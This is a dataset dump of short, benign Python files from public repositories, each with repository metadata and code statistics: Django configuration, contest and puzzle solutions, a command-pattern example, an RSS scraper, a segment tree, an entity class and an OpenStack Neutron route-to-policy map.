] | 3 | 2017-03-14T19:02:17.000Z | 2017-03-17T16:24:33.000Z | djadmin/ngapp/apps.py | gnud/damjan-dimitrioski.com | 6c9cb215ec0878eeb1ed5e1359bb1bd07f774476 | [
"MIT"
] | 3 | 2019-01-21T22:39:04.000Z | 2019-11-21T22:18:07.000Z | from django.apps import AppConfig
class NgappConfig(AppConfig):
name = 'ngapp'
| 14.166667 | 33 | 0.741176 | 10 | 85 | 6.3 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.176471 | 85 | 5 | 34 | 17 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0.058824 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
941e79630ab05ab4af582a022af0f3d07f154519 | 91 | py | Python | atcoder/AtCoder_Beginner_Contest_144/9x9.py | juseongkr/BOJ | 8f10a2bf9a7d695455493fbe7423347a8b648416 | [
"Apache-2.0"
] | 7 | 2020-02-03T10:00:19.000Z | 2021-11-16T11:03:57.000Z | atcoder/AtCoder_Beginner_Contest_144/9x9.py | juseongkr/Algorithm-training | 8f10a2bf9a7d695455493fbe7423347a8b648416 | [
"Apache-2.0"
] | 1 | 2021-01-03T06:58:24.000Z | 2021-01-03T06:58:24.000Z | atcoder/AtCoder_Beginner_Contest_144/9x9.py | juseongkr/Algorithm-training | 8f10a2bf9a7d695455493fbe7423347a8b648416 | [
"Apache-2.0"
] | 1 | 2020-01-22T14:34:03.000Z | 2020-01-22T14:34:03.000Z | a, b = map(int, input().split())
if a >= 10 or b >= 10:
print(-1)
else:
print(a*b)
| 15.166667 | 32 | 0.494505 | 18 | 91 | 2.5 | 0.666667 | 0.088889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074627 | 0.263736 | 91 | 5 | 33 | 18.2 | 0.597015 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.4 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
942d0bcdfeaa1163d62e0939cf24c2b534c1fc62 | 215 | py | Python | problems/0003/compute.py | Dynortice/Project-Euler | 99a0201b5d5f147eab77fc52d9db8995045cded0 | [
"MIT"
] | null | null | null | problems/0003/compute.py | Dynortice/Project-Euler | 99a0201b5d5f147eab77fc52d9db8995045cded0 | [
"MIT"
] | null | null | null | problems/0003/compute.py | Dynortice/Project-Euler | 99a0201b5d5f147eab77fc52d9db8995045cded0 | [
"MIT"
] | null | null | null | from euler.primes import smallest_prime_factor
def compute(n: int) -> int:
while True:
prime = smallest_prime_factor(n)
if prime < n:
n //= prime
else:
return n
| 19.545455 | 46 | 0.55814 | 27 | 215 | 4.296296 | 0.592593 | 0.224138 | 0.327586 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.362791 | 215 | 10 | 47 | 21.5 | 0.846715 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0 | 0.375 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
94430051a0be192eb8095277d402c71833104df1 | 104 | py | Python | uvcoverage-plot.py | haricash/bayesian-ionized-bubbles | c0de5d8ff66f797c72f119b1bc9b11ff8cc63ee6 | [
"MIT"
] | null | null | null | uvcoverage-plot.py | haricash/bayesian-ionized-bubbles | c0de5d8ff66f797c72f119b1bc9b11ff8cc63ee6 | [
"MIT"
] | null | null | null | uvcoverage-plot.py | haricash/bayesian-ionized-bubbles | c0de5d8ff66f797c72f119b1bc9b11ff8cc63ee6 | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
data = np.load("uv-coverage.npy")
print(data.shape) | 17.333333 | 33 | 0.759615 | 18 | 104 | 4.388889 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 104 | 6 | 34 | 17.333333 | 0.868132 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
944bb4c301ced596aa5db3a3e40634312604d90b | 1,233 | py | Python | 6_CommandPattern/Invoker.py | gama79530/DesignPattern | 707e20a1e379d59b6b41a5fe389935c8caa4b1b1 | [
"MIT"
] | null | null | null | 6_CommandPattern/Invoker.py | gama79530/DesignPattern | 707e20a1e379d59b6b41a5fe389935c8caa4b1b1 | [
"MIT"
] | null | null | null | 6_CommandPattern/Invoker.py | gama79530/DesignPattern | 707e20a1e379d59b6b41a5fe389935c8caa4b1b1 | [
"MIT"
] | null | null | null | import Command
class RemoteControlWithUndo :
def __init__(self) :
no_command = Command.NoCommand()
self.on_commands = [no_command, no_command, no_command, no_command, no_command, no_command, no_command]
self.off_commands = [no_command, no_command, no_command, no_command, no_command, no_command, no_command]
self.undo_command = no_command
def setCommand(self, slot, on_command, off_command) :
self.on_commands[slot] = on_command
self.off_commands[slot] = off_command
def onButtonWasPushed(self, slot) :
self.on_commands[slot].execute()
self.undo_command = self.on_commands[slot]
def offButtonWasPushed(self, slot) :
self.off_commands[slot].execute()
self.undo_command = self.on_commands[slot]
def undoButtonWasPushed(self) :
self.undo_command.undo()
def __str__(self) :
result = '\n------ Remote Control -------\n'
for i in range(len(self.on_commands)) :
result += ('[slot {}] {} {}\n'.format(str(i), self.on_commands[i].__class__.__name__, self.off_commands[i].__class__.__name__))
result += ('[undo] {}\n'.format(self.undo_command.__class__.__name__))
return result
| 39.774194 | 142 | 0.664234 | 154 | 1,233 | 4.876623 | 0.207792 | 0.191744 | 0.276964 | 0.287617 | 0.379494 | 0.346205 | 0.346205 | 0.346205 | 0.346205 | 0.346205 | 0 | 0 | 0.208435 | 1,233 | 30 | 143 | 41.1 | 0.769467 | 0 | 0 | 0.083333 | 0 | 0 | 0.051906 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.041667 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
84832d14bd00eb58e3c0522651cfb1e530dade7e | 244 | py | Python | output/models/nist_data/list_pkg/language/schema_instance/nistschema_sv_iv_list_language_length_4_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 1 | 2021-08-14T17:59:21.000Z | 2021-08-14T17:59:21.000Z | output/models/nist_data/list_pkg/language/schema_instance/nistschema_sv_iv_list_language_length_4_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 4 | 2020-02-12T21:30:44.000Z | 2020-04-15T20:06:46.000Z | output/models/nist_data/list_pkg/language/schema_instance/nistschema_sv_iv_list_language_length_4_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | null | null | null | from output.models.nist_data.list_pkg.language.schema_instance.nistschema_sv_iv_list_language_length_4_xsd.nistschema_sv_iv_list_language_length_4 import NistschemaSvIvListLanguageLength4
__all__ = [
"NistschemaSvIvListLanguageLength4",
]
| 40.666667 | 187 | 0.889344 | 29 | 244 | 6.793103 | 0.655172 | 0.121827 | 0.142132 | 0.182741 | 0.335025 | 0.335025 | 0.335025 | 0 | 0 | 0 | 0 | 0.017391 | 0.057377 | 244 | 5 | 188 | 48.8 | 0.83913 | 0 | 0 | 0 | 0 | 0 | 0.135246 | 0.135246 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
84a6b1e5ab5cd7f82f9bd61960155e59f8a3cb0c | 464 | py | Python | scrappers/plugins/aljazeera/__init__.py | nathanIL/openews | 17f07de528342944f26855192db8019a0dbcc3a0 | [
"Apache-2.0"
] | 2 | 2016-01-10T08:45:29.000Z | 2019-10-25T06:53:39.000Z | scrappers/plugins/aljazeera/__init__.py | nathanIL/openews | 17f07de528342944f26855192db8019a0dbcc3a0 | [
"Apache-2.0"
] | 3 | 2016-01-07T15:43:40.000Z | 2016-01-09T14:44:08.000Z | scrappers/plugins/aljazeera/__init__.py | nathanIL/openews | 17f07de528342944f26855192db8019a0dbcc3a0 | [
"Apache-2.0"
] | null | null | null | import scrappers
import scrappers.mixins
class ALJazeera(scrappers.mixins.RSSScrapper, scrappers.Scrapper):
"""AL Jazeera RSS feed scrapper.
"""
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
def should_translate(self):
return False
def encoding(self):
return 'utf-8'
def resource_urls(self):
return [{'category': 'All News', 'url': 'http://www.aljazeera.com/xml/rss/all.xml'}]
| 23.2 | 92 | 0.644397 | 55 | 464 | 5.254545 | 0.618182 | 0.103806 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002725 | 0.209052 | 464 | 19 | 93 | 24.421053 | 0.784741 | 0.0625 | 0 | 0 | 0 | 0 | 0.150943 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.363636 | false | 0 | 0.181818 | 0.272727 | 0.909091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
84ab6622c15775e0c314c7eb24ce994a183ded45 | 151 | py | Python | config_example.py | retdop/chess_weaknesses | c954557777a213a07a3564fef27263d81a20e0a3 | [
"MIT"
] | 1 | 2020-03-25T14:02:25.000Z | 2020-03-25T14:02:25.000Z | config_example.py | retdop/chess_weaknesses | c954557777a213a07a3564fef27263d81a20e0a3 | [
"MIT"
] | 1 | 2020-04-04T14:02:39.000Z | 2020-04-04T14:02:39.000Z | config_example.py | retdop/chess_weaknesses | c954557777a213a07a3564fef27263d81a20e0a3 | [
"MIT"
] | 1 | 2020-04-02T09:44:58.000Z | 2020-04-02T09:44:58.000Z | ENGINE_PATH = './stockfish-11-linux/src/stockfish'
GAMES_FILENAME = 'lichess_username_2019-12-31.pgn'
DEFAULT_GAMES_ANALYSES_FILENAME = 'scores.pkl'
| 25.166667 | 50 | 0.801325 | 21 | 151 | 5.428571 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 0.072848 | 151 | 5 | 51 | 30.2 | 0.742857 | 0 | 0 | 0 | 0 | 0 | 0.496689 | 0.430464 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
84c95a79b4a208b7a4541951452956d90d7692cd | 472 | py | Python | tools/segtree/segtree_node.py | NekohimeMusou/advent-of-code | a1215336a24713e63f77018f379ff90675afdd0d | [
"MIT"
] | null | null | null | tools/segtree/segtree_node.py | NekohimeMusou/advent-of-code | a1215336a24713e63f77018f379ff90675afdd0d | [
"MIT"
] | null | null | null | tools/segtree/segtree_node.py | NekohimeMusou/advent-of-code | a1215336a24713e63f77018f379ff90675afdd0d | [
"MIT"
] | null | null | null | from abc import ABC, abstractmethod
class SegmentTreeNode(ABC):
@classmethod
@abstractmethod
def create_leaf(cls, start, end, value):
pass
@classmethod
@abstractmethod
def merge(cls, start, end, left, right):
pass
@property
@abstractmethod
def score(self):
pass # This should return something
class SegmentTreeNodeWithUpdate(SegmentTreeNode):
@abstractmethod
def update(self, value):
pass
| 18.88 | 49 | 0.663136 | 47 | 472 | 6.638298 | 0.574468 | 0.217949 | 0.179487 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.262712 | 472 | 24 | 50 | 19.666667 | 0.896552 | 0.059322 | 0 | 0.555556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0.222222 | 0.055556 | 0 | 0.388889 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
84cb2cabfe9208f760a24e58bd6dd1d371426e23 | 502 | py | Python | apps/catalog/migrations/0002_auto_20210811_0837.py | lucasjaroszewski/incremental-game | bae8823f986be0fd046bd50195d43fbc548fad90 | [
"MIT"
] | null | null | null | apps/catalog/migrations/0002_auto_20210811_0837.py | lucasjaroszewski/incremental-game | bae8823f986be0fd046bd50195d43fbc548fad90 | [
"MIT"
] | 5 | 2021-06-09T17:54:51.000Z | 2022-03-12T00:46:49.000Z | apps/catalog/migrations/0002_auto_20210811_0837.py | lucasjaroszewski/incremental-game | bae8823f986be0fd046bd50195d43fbc548fad90 | [
"MIT"
] | 1 | 2020-09-27T18:26:15.000Z | 2020-09-27T18:26:15.000Z | # Generated by Django 3.2.6 on 2021-08-11 11:37
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('catalog', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='cat',
old_name='liked_gifs',
new_name='liked_gifts',
),
migrations.RenameField(
model_name='cat',
old_name='loved_gifs',
new_name='loved_gifts',
),
]
| 20.916667 | 47 | 0.553785 | 52 | 502 | 5.134615 | 0.615385 | 0.157303 | 0.194757 | 0.224719 | 0.299625 | 0.299625 | 0.299625 | 0 | 0 | 0 | 0 | 0.056716 | 0.332669 | 502 | 23 | 48 | 21.826087 | 0.740299 | 0.089641 | 0 | 0.352941 | 1 | 0 | 0.147253 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
84cd56fca980259077c65ad0249f033a1888e7ce | 1,404 | py | Python | application/model/entity/video.py | UniversidadeDeVassouras/labproghiper-2020.1-MatheusTelles-p1 | d0d81fc82d031f7add9e38add765aad0c404ee35 | [
"Apache-2.0"
] | 1 | 2020-07-15T14:23:30.000Z | 2020-07-15T14:23:30.000Z | application/model/entity/video.py | UniversidadeDeVassouras/labproghiper-2020.1-MatheusTelles-p1 | d0d81fc82d031f7add9e38add765aad0c404ee35 | [
"Apache-2.0"
] | null | null | null | application/model/entity/video.py | UniversidadeDeVassouras/labproghiper-2020.1-MatheusTelles-p1 | d0d81fc82d031f7add9e38add765aad0c404ee35 | [
"Apache-2.0"
] | null | null | null | class Video:
def __init__(self, id, title, description, thumb, url_video, category_id, date):
self._id = id
self._title = title
self._description = description
self._thumb = thumb
self._url_video = url_video
self._category_id = category_id
self._likes = 0
self._views = 0
self._date = date
def setId(self, id):
self._id = id
def getId(self):
return self._id
def setTitle(self, title):
self._title = title
def getTitle(self):
return self._title
def setDescription(self, description):
self._description = description
def getDescription(self):
return self._description
def setThumb(self, thumb):
self._thumb = thumb
def getThumb(self):
return self._thumb
def setUrl_video(self, url_video):
self._url_video = url_video
def getUrl_video(self):
return self._url_video
def setCategory_id(self, category_id):
self._category_id = category_id
def getCategory_id(self):
return self._category_id
def setLikes(self, likes):
self._likes = likes
def getLikes(self):
return self._likes
def setViews(self, views):
self._views = views
def getViews(self):
return self._views
def getDate(self):
return self._date
| 20.647059 | 84 | 0.611111 | 167 | 1,404 | 4.850299 | 0.197605 | 0.111111 | 0.155556 | 0.037037 | 0.108642 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00206 | 0.308405 | 1,404 | 68 | 85 | 20.647059 | 0.832132 | 0 | 0 | 0.266667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0 | 0.2 | 0.622222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ca03ea5c45820906810f2328be060ad7a4688584 | 6,011 | py | Python | patron/aem/op_map/neutron_op_map.py | casbin/openstack-patron | b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25 | [
"Apache-2.0"
] | null | null | null | patron/aem/op_map/neutron_op_map.py | casbin/openstack-patron | b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25 | [
"Apache-2.0"
] | null | null | null | patron/aem/op_map/neutron_op_map.py | casbin/openstack-patron | b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25 | [
"Apache-2.0"
] | null | null | null |
# op map for neutron.
op_map = \
{(9696, '/v2.0', '/agents', 'GET', ''): (),
(9696, '/v2.0', '/agents/%UUID%', 'GET', ''): ('get_agent',),
(9696, '/v2.0', '/agents/%UUID%', 'PUT', ''): ('update_agent',),
(9696, '/v2.0', '/agents/%UUID%/dhcp-networks', 'GET', ''): ('get_dhcp-networks',),
(9696, '/v2.0', '/agents/%UUID%/dhcp-networks', 'POST', ''): ('create_dhcp-network',),
(9696, '/v2.0', '/agents/%UUID%/dhcp-networks/%UUID%', 'DELETE', ''): ('delete_dhcp-network',),
(9696, '/v2.0', '/agents/%UUID%/l3-routers', 'GET', ''): ('get_l3-routers',),
(9696, '/v2.0', '/agents/%UUID%/l3-routers', 'POST', ''): ('create_l3-router',),
(9696, '/v2.0', '/agents/%UUID%/l3-routers/%UUID%', 'DELETE', ''): ('delete_l3-router',),
(9696, '/v2.0', '/extensions', 'GET', ''): (),
(9696, '/v2.0', '/extensions/agent', 'GET', ''): (),
(9696, '/v2.0', '/extensions/allowed-address-pairs', 'GET', ''): (),
(9696, '/v2.0', '/extensions/binding', 'GET', ''): (),
(9696, '/v2.0', '/extensions/dhcp_agent_scheduler', 'GET', ''): (),
(9696, '/v2.0', '/extensions/dvr', 'GET', ''): (),
(9696, '/v2.0', '/extensions/ext-gw-mode', 'GET', ''): (),
(9696, '/v2.0', '/extensions/external-net', 'GET', ''): (),
(9696, '/v2.0', '/extensions/extra_dhcp_opt', 'GET', ''): (),
(9696, '/v2.0', '/extensions/extraroute', 'GET', ''): (),
(9696, '/v2.0', '/extensions/l3-ha', 'GET', ''): (),
(9696, '/v2.0', '/extensions/l3_agent_scheduler', 'GET', ''): (),
(9696, '/v2.0', '/extensions/multi-provider', 'GET', ''): (),
(9696, '/v2.0', '/extensions/net-mtu', 'GET', ''): (),
(9696, '/v2.0', '/extensions/provider', 'GET', ''): (),
(9696, '/v2.0', '/extensions/quotas', 'GET', ''): (),
(9696, '/v2.0', '/extensions/router', 'GET', ''): (),
(9696, '/v2.0', '/extensions/security-group', 'GET', ''): (),
(9696, '/v2.0', '/extensions/subnet_allocation', 'GET', ''): (),
(9696, '/v2.0', '/floatingips', 'GET', ''): (),
(9696, '/v2.0', '/floatingips', 'POST', ''): (),
(9696, '/v2.0', '/floatingips/%UUID%', 'DELETE', ''): (),
(9696, '/v2.0', '/floatingips?fixed_ip_address=%VALUE%&port_id=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/floatingips?network=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/metering/metering-labels', 'POST', ''): (),
(9696, '/v2.0', '/networks', 'GET', ''): (),
(9696, '/v2.0', '/networks', 'POST', ''): ('create_network',),
(9696, '/v2.0', '/networks/%UUID%', 'DELETE', ''): ('delete_network',),
(9696, '/v2.0', '/networks/%UUID%', 'GET', ''): (),
(9696, '/v2.0', '/networks/%UUID%', 'PUT', ''): (),
(9696, '/v2.0', '/networks/%UUID%/dhcp-agents', 'GET', ''): ('get_dhcp-agents',),
(9696, '/v2.0', '/networks?fields=%VALUE%&fields=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/networks?id=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/networks?router%3Aexternal=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/ports', 'GET', ''): (),
(9696, '/v2.0', '/ports', 'POST', ''): ('create_port',),
(9696, '/v2.0', '/ports/%UUID%', 'DELETE', ''): (),
(9696, '/v2.0', '/ports/%UUID%', 'GET', ''): ('get_port',),
(9696, '/v2.0', '/ports/%UUID%', 'PUT', ''): ('update_port',),
(9696, '/v2.0', '/ports?device_id=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/ports?fields=%VALUE%&fields=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/ports?fixed_ips=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/ports?network_id=%VALUE%&device_id=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/ports?network_id=%VALUE%&device_owner=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/ports?tenant_id=%VALUE%&device_id=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/quotas', 'GET', ''): (),
(9696, '/v2.0', '/quotas/%ID%', 'DELETE', ''): (),
(9696, '/v2.0', '/quotas/%ID%', 'GET', ''): (),
(9696, '/v2.0', '/quotas/%ID%', 'PUT', ''): (),
(9696, '/v2.0', '/routers', 'GET', ''): (),
(9696, '/v2.0', '/routers', 'POST', ''): ('create_router',),
(9696, '/v2.0', '/routers/%NAME%', 'DELETE', ''): (),
(9696, '/v2.0', '/routers/%NAME%', 'GET', ''): (),
(9696, '/v2.0', '/routers/%UUID%', 'DELETE', ''): ('delete_router',),
(9696, '/v2.0', '/routers/%UUID%', 'GET', ''): ('get_router',),
(9696, '/v2.0', '/routers/%UUID%', 'PUT', ''): ('update_router',),
(9696, '/v2.0', '/routers/%UUID%/add_router_interface', 'PUT', ''): ('get_router',
'add_router_interface'),
(9696, '/v2.0', '/routers/%UUID%/l3-agents', 'GET', ''): ('get_l3-agents',),
(9696, '/v2.0', '/routers/%UUID%/remove_router_interface', 'PUT', ''): ('get_router',
'remove_router_interface'),
(9696, '/v2.0', '/security-group-rules', 'GET', ''): (),
(9696, '/v2.0', '/security-group-rules', 'POST', ''): ('create_security_group_rule',),
(9696, '/v2.0', '/security-group-rules/%UUID%', 'DELETE', ''): ('delete_security_group_rule',),
(9696, '/v2.0', '/security-group-rules/%UUID%', 'GET', ''): (),
(9696, '/v2.0', '/security-groups', 'GET', ''): (),
(9696, '/v2.0', '/security-groups', 'POST', ''): ('create_security_group',),
(9696, '/v2.0', '/security-groups/%UUID%', 'DELETE', ''): ('delete_security_group',),
(9696, '/v2.0', '/security-groups/%UUID%', 'GET', ''): (),
(9696, '/v2.0', '/security-groups/%UUID%', 'PUT', ''): ('update_security_group',),
(9696, '/v2.0', '/security-groups?tenant_id=%VALUE%&name=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/subnetpools', 'POST', ''): ('create_subnetpool',),
(9696, '/v2.0', '/subnetpools/%UUID%', 'DELETE', ''): (),
(9696, '/v2.0', '/subnetpools/%UUID%', 'GET', ''): (),
(9696, '/v2.0', '/subnetpools/%UUID%', 'PUT', ''): ('update_subnetpool',),
(9696, '/v2.0', '/subnets', 'GET', ''): (),
(9696, '/v2.0', '/subnets', 'POST', ''): ('create_subnet',),
(9696, '/v2.0', '/subnets/%UUID%', 'DELETE', ''): ('delete_subnet',),
(9696, '/v2.0', '/subnets/%UUID%', 'GET', ''): (),
(9696, '/v2.0', '/subnets/%UUID%', 'PUT', ''): (),
(9696, '/v2.0', '/subnets?fields=%VALUE%&fields=%VALUE%', 'GET', ''): (),
(9696, '/v2.0', '/subnets?id=%VALUE%', 'GET', ''): ()}
| 63.273684 | 100 | 0.497255 | 701 | 6,011 | 4.171184 | 0.101284 | 0.182627 | 0.213064 | 0.164159 | 0.745212 | 0.440834 | 0.25342 | 0.138167 | 0.069767 | 0.058824 | 0 | 0.104107 | 0.129097 | 6,011 | 94 | 101 | 63.946809 | 0.454441 | 0.003161 | 0 | 0 | 0 | 0 | 0.527133 | 0.226582 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ca13f5a2b7e69e8ead8b3416408fe4c4517f3578 | 167 | py | Python | 7KYU/get_even_numbers.py | yaznasivasai/python_codewars | 25493591dde4649dc9c1ec3bece8191a3bed6818 | [
"MIT"
] | 4 | 2021-07-17T22:48:03.000Z | 2022-03-25T14:10:58.000Z | 7KYU/get_even_numbers.py | yaznasivasai/python_codewars | 25493591dde4649dc9c1ec3bece8191a3bed6818 | [
"MIT"
] | null | null | null | 7KYU/get_even_numbers.py | yaznasivasai/python_codewars | 25493591dde4649dc9c1ec3bece8191a3bed6818 | [
"MIT"
] | 3 | 2021-06-14T14:18:16.000Z | 2022-03-16T06:02:02.000Z | from typing import List
def get_even_numbers(arr: List[int]) -> List[int]:
if len(arr) < 1:
return []
return list(filter(lambda i: not(i % 2), arr))
| 20.875 | 50 | 0.610778 | 27 | 167 | 3.703704 | 0.703704 | 0.14 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015748 | 0.239521 | 167 | 7 | 51 | 23.857143 | 0.771654 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
ca4c4257326dffb482bf77d2d863e1a9fe99032c | 137 | py | Python | proj/pushes/urls.py | TakesxiSximada/adminsite-collection | 02fc51c0b0d5b81f1c6829f86f2b144fcdaf0d7e | [
"Apache-2.0"
] | null | null | null | proj/pushes/urls.py | TakesxiSximada/adminsite-collection | 02fc51c0b0d5b81f1c6829f86f2b144fcdaf0d7e | [
"Apache-2.0"
] | 1 | 2016-07-27T13:11:33.000Z | 2016-07-27T13:11:33.000Z | proj/pushes/urls.py | TakesxiSximada/adminsite-collection | 02fc51c0b0d5b81f1c6829f86f2b144fcdaf0d7e | [
"Apache-2.0"
] | null | null | null | from rest_framework import routers
from . import views
router = routers.DefaultRouter()
router.register(r'pushes', views.PushViewSet)
